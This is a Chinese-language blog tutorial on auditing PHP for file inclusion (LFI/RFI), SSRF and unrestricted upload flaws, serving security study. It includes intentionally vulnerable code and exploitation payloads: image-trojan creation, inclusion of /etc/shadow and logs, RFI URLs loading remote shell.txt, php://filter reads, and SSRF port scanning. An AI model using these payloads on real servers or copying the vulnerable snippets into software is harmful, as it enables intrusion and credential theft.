Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

PHP基础代码审计 2.3 文件操作漏洞

代码审计 Adminxe 924℃ 0评论

LFI 本地文件包含漏洞

Local File Include

典型漏洞代码:

<?php include($_GET['pages'].'.php'); ?> <?php include($_GET['pages']); ?>

主要涉及到的函数

include()

require()

include_once()

require_once()

LFI漏洞的作用越来越小了、大多数都需要%00截断、PHP更新已经把这个古老的方法干掉了。。Orz
所以LFI可利用的地方很少很少、、、

LFI漏洞挖掘

  • 全局检索include()等函数
  • 回溯函数参数
  • 判断参数变量是否可控
  • 参数是否限定后缀名
  • 是否允许../跳转目录
  • 是否有权限读取特殊文件
  • 查看程序是否能上传文件

LFI利用

包含图片木马

  • 命令行下执行:copy x.jpg /b + s.php /b f.jpg
  • 上传 f.jpg
  • 找到 f.jpg 路径
  • 包含 f.jpg

包含环境变量文件

包含特殊权限的文件

  • /root/.bash_history
  • /etc/shadow

包含web server日志文件

  • 构造特殊语句访问 /asdf.php
  • 找到日志文件路径
  • 包含日志文件

成功包含FTP日志文件

  • 构造特殊语句访问,如用户名
  • 找到日志文件路径
  • 包含日志文件

结合phpinfo包含临时文件

  • 向服务器上任意php文件post请求上传数据
  • 通过phpinfo()得到临时文件路径
  • 包含临时文件

包含session文件

  • Session是否存在可控内容
  • 写入特殊语句
  • 包含session文件

RFI 远程文件包含漏洞

Remote File Include

RFI的危害最大、能实现的作用及利用方式更多

普通远程文件包含

需要 allow_url_include=On

<?php include($_GET['file']); ?>

远程代码执行

  • /?file=[http|https|ftp]://example.com/shell.txt
  • 需要 allow_url_fopen=On

利用php流input代码执行

  • /?file=php://input

利用php流filter读取任意文件

  • /?file=php://filter/convert.base64-encode/resource=index.php

利用data URIs

  • /?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

利用XSS执行任意代码

  • /?file=http://127.0.0.1/path/xss.php?xss=phpcode
  • 需要 allow_url_fopen=On

有限制的远程文件包含

<?php include($_GET['file'] . ".htm"); ?>

需要allow_url_fopen=On并且allow_url_include=On

  • /?file=http://example.com/shell
  • /?file=http://example.com/shell.txt?
  • /?file=http://example.com/shell.txt%23

只需要allow_url_include=On

  • /?file=\evilshare\shell.php

SSRF 服务端请求伪造攻击

Server-side Request Forgery

利用ssrf可以实现的攻击主要有5种

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
  • 攻击运行在内网或本地的应用程序(比如溢出);
  • 对内网web应用进行指纹识别,通过访问默认文件实现;
  • 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
  • 利用file协议读取本地文件等。

SSRF攻击可能存在任何语言编写的应用

PHP::file_get_contents()

<?php

if (isset($_POST['url'])) 

{ 

    $content = file_get_contents($_POST['url']); 

    $filename ='./images/'.rand().';img1.jpg'; 

    file_put_contents($filename, $content); 

    echo $_POST['url']; 

    $img = "<img src=\"".$filename."\"/>"; 

} 

echo $img; 

?>

这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

PHP::fsockopen()

<?php

function GetFile($host,$port,$link) 

{ 

    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 

    if (!$fp) { 

        echo "$errstr (error number $errno) \n"; 

    }

    else 

    { 

        $out = "GET $link HTTP/1.1\r\n"; 

        $out .= "Host: $host\r\n"; 

        $out .= "Connection: Close\r\n\r\n"; 

        $out .= "\r\n"; 

        fwrite($fp, $out); 

        $contents=''; 

        while (!feof($fp)) { 

            $contents.= fgets($fp, 1024); 

        } 

        fclose($fp); 

        return $contents; 

    } 

}

?>

这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

PHP::curl_exec()

<?php 

if (isset($_POST['url']))

{

    $link = $_POST['url'];

    $curlobj = curl_init();

    curl_setopt($curlobj, CURLOPT_POST, 0);

    curl_setopt($curlobj,CURLOPT_URL,$link);

    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);

    $result=curl_exec($curlobj);

    curl_close($curlobj);

    $filename = './curled/'.rand().'.txt';

    file_put_contents($filename, $result); 

    echo $result;

}

?>

这是另外一个很常见的实现。使用curl获取数据。

SSRF内网渗透

SSRF端口扫描&中继代理

大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URI,比如

http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/

然后根据服务器的返回信息来判断端口是否开放。

大部分应用并不会去判断端口,只要是有效的URL,就发出了请求。而大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为原始的html数据展示。

当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。

下面一个实现就可以用来做端口扫描的PHP例子

<?php 

if (isset($_POST['url']))

{

    $link = $_POST['url'];

    $filename = './curled/'.rand().'txt';

    $curlobj = curl_init($link);

    $fp = fopen($filename,"w");

    curl_setopt($curlobj, CURLOPT_FILE, $fp);

    curl_setopt($curlobj, CURLOPT_HEADER, 0);

    curl_exec($curlobj);

    curl_close($curlobj);

    fclose($fp);

    $fp = fopen($filename,"r");

    $result = fread($fp, filesize($filename)); 

    fclose($fp);

    echo $result;

}

?>

POST不同端口的正常URL到该文件,如果是正常web服务则返回网站页面,如果请求非http服务的端口则会返回banner信息,如果请求关闭的端口则会报错。

当然大多数互联网的应用并不会直接返回banner信息。不过可以通过前面说过的,处错误信息,响应时间,响应包大小来判断。

作为中继代理、上面的例子也可以用来访问内网的服务器、访问内网的网站!

SSRF攻击应用程序(跨协议通信技术原理)

内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。

【跨协议通信技术】跨协议通信技术(Inter-Protocol Communication)是指两种不同的协议可以交换指令和数据的技术。其中一种称为目标协议,另外一种称为载体协议。目标协议就是我们最终想要通信的协议,而载体协议是用来封装我们最后想要发送的指令和数据。

通过HTTP协议、发送特定的PAYLOAD到某些已知存在漏洞的程序来溢出,达到攻击效果。

SSRF读取本地文件

上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。

如下的请求会让应用读取本地文件:

Request: file:///C:/Windows/win.ini

SSRF漏洞的挖掘经验
全局搜索相关函数,回溯函数的参数

文件上传漏洞

一般的上传漏洞可能是未验证上传后缀 或者是验证上传后缀被bypass 或者是上传的文件验证了上传后缀但是文件名不重命名。

<?php

// 设置上传文件的目录

$uploaddir = "/www/uploads/";

// 检查file是否存在

if (isset($_FILES['file'])) 

{

    // 要放在网站目录中的完整路径,包含文件名

    $uploadfile = $uploaddir . $_FILES['file']['name'];

     // 将服务器存放的路径,移动到真实文件名

     move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);

}

?>

未验证后缀

任意文件上传了,妥妥的大BUG。

Bypass验证后缀

比如黑名单限制,限制了php而忽略了php5.这时候就可以用xxx.php5来绕过了。

主要还是看程序是如何验证的。

验证了后缀但不重命名

可以考虑截断、、Orz,貌似很鸡肋的样子,这时候可以考虑利用解析漏洞了。

挖掘技巧

全文搜索关键字

$_FILES

move_uploaded_file

结合上下文分析功能

是否验证后缀,如何验证,能否bypass

是否重命名,命名格式

存放目录路径

文件解析漏洞

解析漏洞总结 http://drops.wooyun.org/papers/539

转载请注明:Adminxe's Blog » PHP基础代码审计 2.3 文件操作漏洞

喜欢 (5)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址